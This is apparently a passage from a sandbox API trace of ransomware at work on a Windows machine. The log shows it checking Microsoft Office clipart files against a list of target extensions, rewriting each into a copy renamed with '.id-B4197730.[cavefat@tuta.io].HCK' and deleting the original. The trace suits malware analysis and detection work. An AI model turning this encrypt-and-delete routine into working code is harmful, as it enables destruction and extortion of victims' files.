Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.922] lstrlenW (lpString=".jpg") returned 4 [0167.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.922] lstrlenW (lpString=".doc") returned 4 [0167.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString=".docx") returned 5 [0167.922] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.922] lstrlenW (lpString=".pdf") returned 4 [0167.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.922] lstrlenW (lpString=".xls") returned 4 [0167.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.922] lstrlenW (lpString=".xlsx") returned 5 [0167.922] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.923] lstrlenW (lpString=".ppt") returned 4 [0167.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.923] lstrlenW (lpString=".zip") returned 4 [0167.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.923] lstrlenW (lpString=".rar") returned 4 [0167.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.923] lstrlenW (lpString=".bz2") returned 4 [0167.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.923] lstrlenW (lpString=".7z") returned 3 [0167.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.923] lstrlenW (lpString=".dbf") returned 4 [0167.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.923] lstrlenW (lpString=".1cd") returned 4 [0167.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0167.923] lstrlenW (lpString=".jpg") returned 4 [0167.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.923] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.923] lstrlenW (lpString="J0107488.WMF") returned 12 [0167.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.924] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8000) returned 1 [0167.924] CloseHandle (hObject=0x378) returned 1 [0167.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 0x220 [0167.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.934] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.935] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.939] GetLastError () returned 0x0 [0167.940] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1f40, lpOverlapped=0x0) returned 1 [0167.941] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1f50, lpOverlapped=0x0) returned 1 [0167.941] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.941] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.942] SetEndOfFile (hFile=0x354) returned 1 [0167.943] CloseHandle (hObject=0x354) returned 1 [0167.945] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.945] SetEndOfFile (hFile=0x330) returned 1 [0167.951] CloseHandle (hObject=0x330) returned 1 [0167.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0167.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.954] lstrlenW (lpString=".doc") returned 4 [0167.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString=".docx") returned 5 [0167.955] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.955] lstrlenW (lpString=".pdf") returned 4 [0167.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString=".xls") returned 4 [0167.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.955] lstrlenW (lpString=".xlsx") returned 5 [0167.955] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.955] lstrlenW (lpString=".ppt") returned 4 [0167.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.955] lstrlenW (lpString=".zip") returned 4 [0167.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.955] lstrlenW (lpString=".rar") returned 4 [0167.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString=".bz2") returned 4 [0167.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString=".7z") returned 3 [0167.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.955] lstrlenW (lpString=".dbf") returned 4 [0167.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.955] lstrlenW (lpString=".1cd") returned 4 [0167.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.955] lstrlenW (lpString=".jpg") returned 4 [0167.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.955] lstrlenW (lpString=".doc") returned 4 [0167.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString=".docx") returned 5 [0167.955] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.955] lstrlenW (lpString=".pdf") returned 4 [0167.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.955] lstrlenW (lpString=".xls") returned 4 [0167.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.955] lstrlenW (lpString=".xlsx") returned 5 [0167.955] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.955] lstrlenW (lpString=".ppt") returned 4 [0167.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.956] lstrlenW (lpString=".zip") returned 4 [0167.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.956] lstrlenW (lpString=".rar") returned 4 [0167.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.956] lstrlenW (lpString=".bz2") returned 4 [0167.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.956] lstrlenW (lpString=".7z") returned 3 [0167.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.956] lstrlenW (lpString=".dbf") returned 4 [0167.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.956] lstrlenW (lpString=".1cd") returned 4 [0167.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0167.956] lstrlenW (lpString=".jpg") returned 4 [0167.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.956] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.956] lstrlenW (lpString="J0107496.WMF") returned 12 [0167.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.957] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8864) returned 1 [0167.957] CloseHandle (hObject=0x308) returned 1 [0167.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220 [0167.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.969] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.969] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.974] GetLastError () returned 0x0 [0167.974] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x22a0, lpOverlapped=0x0) returned 1 [0167.975] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0167.976] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.976] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.976] SetEndOfFile (hFile=0x354) returned 1 [0167.978] CloseHandle (hObject=0x354) returned 1 [0167.980] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.980] SetEndOfFile (hFile=0x364) returned 1 [0167.986] CloseHandle (hObject=0x364) returned 1 [0167.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0167.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.989] lstrlenW (lpString=".doc") returned 4 [0167.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString=".docx") returned 5 [0167.989] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.989] lstrlenW (lpString=".pdf") returned 4 [0167.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString=".xls") returned 4 [0167.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.989] lstrlenW (lpString=".xlsx") returned 5 [0167.989] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.989] lstrlenW (lpString=".ppt") returned 4 [0167.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.989] lstrlenW (lpString=".zip") returned 4 [0167.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.989] lstrlenW (lpString=".rar") returned 4 [0167.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString=".bz2") returned 4 [0167.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString=".7z") returned 3 [0167.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.989] lstrlenW (lpString=".dbf") returned 4 [0167.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.989] lstrlenW (lpString=".1cd") returned 4 [0167.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.989] lstrlenW (lpString=".jpg") returned 4 [0167.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.989] lstrlenW (lpString=".doc") returned 4 [0167.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString=".docx") returned 5 [0167.989] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.989] lstrlenW (lpString=".pdf") returned 4 [0167.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.989] lstrlenW (lpString=".xls") returned 4 [0167.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.989] lstrlenW (lpString=".xlsx") returned 5 [0167.989] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.990] lstrlenW (lpString=".ppt") returned 4 [0167.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.990] lstrlenW (lpString=".zip") returned 4 [0167.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.990] lstrlenW (lpString=".rar") returned 4 [0167.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.990] lstrlenW (lpString=".bz2") returned 4 [0167.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.990] lstrlenW (lpString=".7z") returned 3 [0167.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.990] lstrlenW (lpString=".dbf") returned 4 [0167.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.990] lstrlenW (lpString=".1cd") returned 4 [0167.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0167.990] lstrlenW (lpString=".jpg") returned 4 [0167.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.990] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.990] lstrlenW (lpString="J0107514.WMF") returned 12 [0167.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.994] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12204) returned 1 [0167.994] CloseHandle (hObject=0x2ec) returned 1 [0167.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220 [0168.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.012] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.012] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.019] GetLastError () returned 0x0 [0168.019] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2fac, lpOverlapped=0x0) returned 1 [0168.021] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2fb0, lpOverlapped=0x0) returned 1 [0168.021] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.022] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.022] SetEndOfFile (hFile=0x39c) returned 1 [0168.026] CloseHandle (hObject=0x39c) returned 1 [0168.029] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.029] SetEndOfFile (hFile=0x354) returned 1 [0168.032] CloseHandle (hObject=0x354) returned 1 [0168.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0168.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.037] lstrlenW (lpString=".doc") returned 4 [0168.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.037] lstrlenW (lpString=".docx") returned 5 [0168.037] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.037] lstrlenW (lpString=".pdf") returned 4 [0168.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.037] lstrlenW (lpString=".xls") returned 4 [0168.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.037] lstrlenW (lpString=".xlsx") returned 5 [0168.038] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.038] lstrlenW (lpString=".ppt") returned 4 [0168.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString=".zip") returned 4 [0168.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.038] lstrlenW (lpString=".rar") returned 4 [0168.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".bz2") returned 4 [0168.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".7z") returned 3 [0168.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString=".dbf") returned 4 [0168.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString=".1cd") returned 4 [0168.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString=".jpg") returned 4 [0168.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString=".doc") returned 4 [0168.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".docx") returned 5 [0168.038] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") 